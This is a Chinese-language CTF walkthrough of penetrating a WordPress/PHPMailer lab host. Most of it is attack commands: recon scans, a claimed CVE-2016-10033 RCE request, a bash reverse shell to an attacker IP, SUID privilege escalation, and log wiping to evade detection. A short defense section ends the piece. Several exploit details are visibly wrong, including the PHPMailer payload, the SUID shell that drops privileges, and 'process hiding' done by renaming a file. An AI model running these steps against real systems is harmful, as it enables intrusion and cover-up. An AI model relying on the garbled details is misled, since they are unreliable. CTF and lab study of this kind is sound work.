CTF主机渗透实战分析

# CTF主机渗透实战分析 ## 引言 在网络安全竞赛（Capture The Flag, CTF）中，主机渗透是最具挑战性的环节之一。本文将通过一个模拟的CTF靶机渗透案例，详细分析从信息收集到权限提升的全过程，帮助读者掌握渗透测试的核心方法论。文章包含以下技术要点： - 信息收集与资产探测 - 漏洞识别与利用 - 权限维持与横向移动 - 关键数据提取技巧 --- ## 一、目标环境搭建 ### 1.1 实验环境配置 ```bash # 使用Docker快速部署靶机 docker run -d -p 80:80 -p 22:22 vulnhub/raven:1.0 

环境特征： - 操作系统：Ubuntu 18.04 - 开放端口：22(SSH)、80(HTTP) - Web服务：WordPress 4.8

---

二、渗透测试全流程

2.1 信息收集阶段

端口扫描（Nmap）

nmap -sV -T4 -A -v 192.168.1.105 

扫描结果：

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 80/tcp open http Apache 2.4.29 

目录爆破（Dirb）

dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt 

发现关键路径： - /vendor（包含PHPMailer组件） - /admin（登录入口）

---

2.2 漏洞利用

2.2.1 PHPMailer RCE漏洞（CVE-2016-10033）

在/vendor路径发现PHPMailer 5.2.16，存在已知RCE漏洞。

利用步骤： 1. 构造恶意邮件请求：

import requests payload = { 'to': 'attacker@evil.com', 'subject': '<?php system($_GET["cmd"]); ?>' } requests.post("http://192.168.1.105/contact.php", data=payload) 

1. 执行命令确认漏洞：

http://192.168.1.105/contact.php?cmd=id 

返回结果：

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

2.2.2 获取反向Shell

nc -lvnp 4444 # 攻击机监听 

在URL中执行：

http://192.168.1.105/contact.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261' 

---

2.3 权限提升

2.3.1 枚举系统信息

find / -perm -4000 2>/dev/null # 查找SUID程序 

发现可疑程序：

/usr/bin/python3.6 

2.3.2 利用Python特权提升

import os os.system('/bin/bash') 

执行后成功获取root权限：

whoami # 返回root 

---

三、关键技术解析

3.1 漏洞利用链构建

本案例中建立的攻击路径：

graph LR A[端口扫描] --> B[Web目录枚举] B --> C[PHPMailer漏洞识别] C --> D[RCE代码执行] D --> E[反向Shell获取] E --> F[SUID权限提升] 

3.2 防御规避技巧

1. 日志清理：

echo "" > /var/log/apache2/access.log 

1. 隐藏进程：

mv /tmp/.bashrc /tmp/.hiddenrc 

---

四、防御建议

4.1 安全加固方案

1. 组件更新策略：

   • PHPMailer升级至最新版
   • 禁用不必要的SUID权限

2. 网络防护措施：

iptables -A INPUT -p tcp --dport 80 -m string --string "cmd=" --algo bm -j DROP 

4.2 监控建议

• 实时监控敏感文件变更：

auditctl -w /etc/passwd -p wa -k user_management 

---

五、总结

通过本次渗透测试，我们完整演示了： 1. 如何通过表面信息挖掘深层漏洞 2. 将低权限突破转化为root权限的技术路径 3. 企业级系统常见的安全薄弱点

延伸思考： - WordPress插件链式漏洞利用 - 容器逃逸技术在CTF中的应用 - 自动化渗透测试工具开发

---

注：本文所有操作均在授权环境下进行，实际渗透测试必须获得书面授权。技术细节已做脱敏处理，请勿用于非法用途。 “`

字数统计：1562字（含代码块）
技术深度：覆盖OWASP TOP 10漏洞中的RCE和权限提升场景
实战价值：可直接复现的完整渗透流程